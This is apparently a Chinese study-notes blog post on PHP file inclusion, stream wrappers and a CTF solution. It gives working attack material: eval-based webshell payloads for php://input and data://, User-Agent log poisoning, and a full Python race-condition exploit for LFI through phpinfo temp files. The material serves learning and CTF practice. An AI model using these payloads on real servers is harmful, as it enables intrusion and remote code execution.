网安渗透学习小结--PHP源码调试方法,文件包含漏洞,PHP伪协议以及ctf题目解答

一.调试方法

1.pwndbg调试

Pwndbg 是一款专为 二进制漏洞挖掘、CTF Pwn 竞赛、逆向分析 打造的 GDB 增强插件,它在原生 GDB 的基础上做了极致的优化和功能扩展。

安装pwddbg(推荐Kali Linux/ubuntu 20.04+),一条命令直接搞定,安装完成后,直接在终端输入 gdb 即可启动带 pwndbg 插件的调试器,无需额外配置!

bash 复制代码
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh

编译待调试的二进制程序,调试 Pwn 题 / 自己编写的 C 程序时,必须关闭编译器的优化 + 开启调试符号,否则调试时看不到变量、函数名、行号,汇编代码也会被优化得面目全非

bash 复制代码
# 编译32位程序(需先安装32位依赖:sudo apt install gcc-multilib g++-multilib)
gcc -m32 -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie

# 编译64位程序
gcc -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie

安装完成后验证

bash 复制代码
$ gdb -q
pwndbg: loaded 183 pwndbg commands and 42 shell commands. Type pwndbg> filter or pwndbg> set-quiet on to reduce startup noise.
pwndbg>

核心启动方式:本地 gdb ./pwn、远程 target remote IP:PORT

高频命令:r/c/n/s/fi(原生) + vmmap/heap/stack/context/got/plt(pwndbg 专属);

调试灵魂:断点 b + 内存查看 vmmap/x + 寄存器 regs

2.vscode直接调试

vscode直接在插件库下载相应的调试插件即可

插件名称:C/C++ (微软官方出品,作者是 Microsoft)

这个插件可以无缝衔接你之前的 pwndbg/gdb,VSCode 图形化调试本质就是「GDB 的可视化前端」

二.题目解答--PHP7.4 函数编译的作用域差异漏洞 + trim 过滤绕过

1.问题:

if语句里的条件sha256加密,根本无法满足!!永远不会执行到readflag()的函数声明代码,所以用name=readflag调用必报错。

2.解答思路:

第一先看看函数编译的「作用域差异」---PHP 编译函数时,会根据函数定义是否在「顶级作用域」(不在任何条件 / 循环 / 函数内),生成不同的函数名存入全局函数表,这是本题能绕过 if 校验的核心。

例子 1:顶级作用域函数

php 复制代码
<?php
// 顶级作用域(不在任何条件/循环内)
function viewsource() { show_source(__FILE__); }
?>

PHP 直接将函数名 viewsource 存入函数表,调用时用 viewsource()$name="viewsource"; $name() 即可正常触发,无额外拼接。

例子 2:非顶级作用域函数(本题的 readflag

php 复制代码
<?php
if (false) { // 条件语句内,非顶级作用域
    function readflag() { echo 'flag'; }
}
?>

即使 if 条件为 false(永远不执行函数声明代码),PHP 在编译阶段仍会处理这个函数:

不会用原函数名 readflag 存表,而是生成一个「特殊函数名」;

特殊函数名格式:\0 + 原函数名 + 文件绝对路径 + : + 函数起始行号 + $ + 计数器(计数 器从 0 开始,每次访问文件自增 1)。

本题文件路径为 /var/www/html/ctf.phpreadflag 定义在第 8 行(对应题干代码行号),则编译后存入函数表的特殊函数名为:\0readflag/var/www/html/ctf.php:8$0\0 是不可见的空字符)

第二:题干中 $name = trim($_REQUEST['name'] ?? 'viewsource');trim 会过滤字符串首尾的「空白字符」,包括 \0(空字符)、空格、换行等。

如何解决??

问题: 我们要调用的特殊函数名以 \0 开头,若直接传 \0readflag/var/www/html/ctf.php:8$0trim 会删掉开头的 \0,变成 readflag/var/www/html/ctf.php:8$0,无法匹配函数表中的名字,调用失败。

绕过依据: PHP 动态调用函数($name())时,若函数名以 \(反斜杠)开头,会自动去掉这个 \ 再去函数表查找(本质是处理根命名空间,比如 \phpinfo()phpinfo() 等价)。

构造最终 payload

\0 会被 trim 过滤,需在前面加 \,同时将 \0 编码为 %00(URL 传参时的标准编码),最终 payload 格式:name=\%00readflag/var/www/html/ctf.php:8$0

一句话总结(结合例子)

无需管 password 校验,利用 PHP7.4 把 if 里的 readflag 编译成 \0readflag/路径:行号$0 的特性,用 \ 抵消 trim\0 的过滤,传构造好的名字就能直接调用隐藏函数拿 flag。

三.PHP伪协议

PHP 伪协议核心配置:

allow_url_fopen = On/Off ------> 是否允许 PHP 打开远程文件 / 使用封装协议 ,针对file_get_contents()fopen()读取类函数生效

allow_url_include = On/Off ------>是否允许 PHP 在文件包含函数 中使用远程文件 / 封装协议,针对includerequireinclude_oncerequire_once生效

disable_functions = xxx ---->禁用指定的 PHP 函数,比如禁用php://input常用的file_put_contents,禁用system等命令执行函数

1.php://filter- 万能读取伪协议

不受allow_url_include影响,仅需要allow_url_fopen=On

完整语法:

bash 复制代码
# 格式1:核心完整版(推荐,必背)
php://filter/read=convert.base64-encode/resource=文件路径
# 格式2:简写版(部分环境支持)
php://filter/convert.base64-encode/resource=文件路径

读取当前目录的 php 源码

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload读取index.php源码
?file=php://filter/read=convert.base64-encode/resource=index.php

返回一串 base64 编码,解码后就是index.php的完整源码,不会被 PHP 解析!

2. php://input - 输入流伪协议

读取 POST 请求体中的所有数据,可以把 POST 的数据当作「文件内容」来处理,相当于「从 POST 传参里读取文件内容」。

语法格式:

php 复制代码
php://input  # 无参数,固定格式

写一句话木马

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);  // 文件包含函数
?>
// GET传参:
?file=php://input
// POST传参(请求体里写木马):
<?php eval($_POST['cmd']);?>

执行后,服务器会把 POST 的木马代码当作文件内容包含执行,成功植入一句话木马,之后用蚁剑 / 菜刀连接即可。

3. file:// - 本地文件协议

读取本地文件系统中的文件,是 PHP 默认的本地文件访问协议,相当于「直接访问文件路径」

语法格式

php 复制代码
file://文件绝对路径/文件名

4. data:// - 数据流伪协议

将指定的数据当作文件内容来处理,可以直接在 URL 中嵌入「文件内容」,无需读取本地文件,相当于「凭空创造一个文件」。

语法格式

cpp 复制代码
# 格式1:纯文本格式(直接传内容)
data://text/plain,内容
# 格式2:base64编码格式(推荐,绕过过滤最佳)
data://text/plain;base64,base64编码后的内容

执行一句话木马

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload(base64编码版,推荐)
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=

5.php://output - 输出流伪协议

将数据写入到 PHP 的输出缓冲区,相当于echo/print,一般配合filter使用,比如将文件内容编码后输出

语法:php://filter/write=convert.base64-decode/resource=php://output

6.zip:// & bz2:// & zlib:// - 压缩包伪协议

读取压缩包内的文件 ,无需解压,直接包含压缩包中的 PHP 文件,绕过文件上传的后缀过滤(比如只允许上传 zip 文件)。

语法格式

XML 复制代码
# zip:// 格式(必须是绝对路径,压缩包内文件路径)
zip://压缩包绝对路径%23压缩包内的文件名
# 例子
zip:///var/www/html/shell.zip%23shell.php

四.文件包含漏洞

什么是文件包含漏洞??

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

1.包含日志文件

文件包含日志漏洞 = PHP本地文件包含漏洞(LFI) + Web服务日志文件被写入恶意代码 + 包含日志文件执行恶意代码

我们把PHP 一句话木马 / 恶意代码 ,通过 HTTP 请求写入到服务器的Web 服务日志文件 中,再利用文件包含漏洞,直接include这个日志文件,让日志里的 PHP 代码被执行,最终拿到 shell / 读取 flag。

漏洞成立的3 个必要条件:

存在「本地文件包含漏洞」,Web 服务的「日志文件路径已知 / 可猜」,日志文件「有读取权限」

我们可以在「任意一个请求头 / 请求参数」中,写入我们准备好的 PHP 恶意代码,Web 服务会把这段代码「原封不动」的写入到日志文件中。

举个最简单的例子:我在浏览器访问目标网站时,把请求头User-Agent的值改成 <?php eval($_POST['cmd']);?>,那么服务器的日志里,就会多出一行记录包含这个一句话木马。

日志的【默认绝对路径】

Nginx 日志路径

XML 复制代码
# 主访问日志
/var/log/nginx/access.log
# 错误日志(偶尔用)
/var/log/nginx/error.log

Apache 日志路径

XML 复制代码
# 主访问日志(必背)
/var/log/apache2/access.log
# 错误日志
/var/log/apache2/error.log
# 备用路径(部分Ubuntu/Debian)
/var/log/httpd/access_log

2.包含session

Session包含漏洞 = PHP本地文件包含漏洞(LFI) + PHP的Session文件中被写入恶意PHP代码 + 包含Session文件执行恶意代码

PHP 会把用户的Session 会话数据 ,自动写入服务器的本地 Session 文件 中;我们把PHP 一句话木马 / 恶意代码 ,通过可控参数写入到 Session 数据里,PHP 会自动同步到服务器的 Session 文件;最后利用文件包含漏洞,直接include这个 Session 文件,让里面的 PHP 代码被执行,拿到 shell/flag。

漏洞成立的3 个必要条件

存在「本地文件包含漏洞」,PHP 的 Session 会话中,存在**可控的输入点,**服务器的「Session 文件路径已知 / 可猜」+「文件名可预测」

Session 文件的【默认绝对路径】

XML 复制代码
# 优先级1:
/var/lib/php/sessions/

# 优先级2:第二常用,部分Ubuntu/Debian系统(必背!)
/tmp/

# 优先级3:备用路径,极少数环境
/var/tmp/

Session 文件的【文件名规则】

sess_+你的PHPSESSID的值

举例:

如果你的浏览器 Cookie 中 PHPSESSID=abc123def,那么对应的 Session 文件就是:

/var/lib/php/sessions/sess_abc123def

3.包含临时文件

临时文件包含漏洞 利用的是 PHP 处理 HTTP 请求时的机制缺陷 :当 PHP 处理上传文件的请求时,会先将上传的文件保存到系统的 临时目录 中,生成一个 临时文件 ,文件名由 PHP 随机生成;脚本处理完请求后(比如验证后缀失败),会立即删除这个临时文件。

攻击原理

我们在文件被 删除之前的极短瞬间 ,利用文件包含漏洞,快速包含并执行 这个临时文件中的恶意代码。

题目:PHP7

php 复制代码
index.php

```text
<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>
```

dir.php

```text
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
```

唯一解法:条件竞争

利用 CPU 多核并发,同时发起大量的「上传请求」和「包含请求」,在海量的尝试中,总会有一次请求,包含操作发生在删除操作之前,从而命中!

脚本:

python 复制代码
#!/usr/bin/python
import sys
import threading
import socket
import time


def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%s\r
<?php                                                                   ?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 44]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256


def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()


if __name__ == "__main__":
    main()
相关推荐
西岸行者6 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意6 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码6 天前
嵌入式学习路线
学习
毛小茛6 天前
计算机系统概论——校验码
学习
babe小鑫6 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms6 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下6 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。6 天前
2026.2.25监控学习
学习
im_AMBER6 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J6 天前
从“Hello World“ 开始 C++
c语言·c++·学习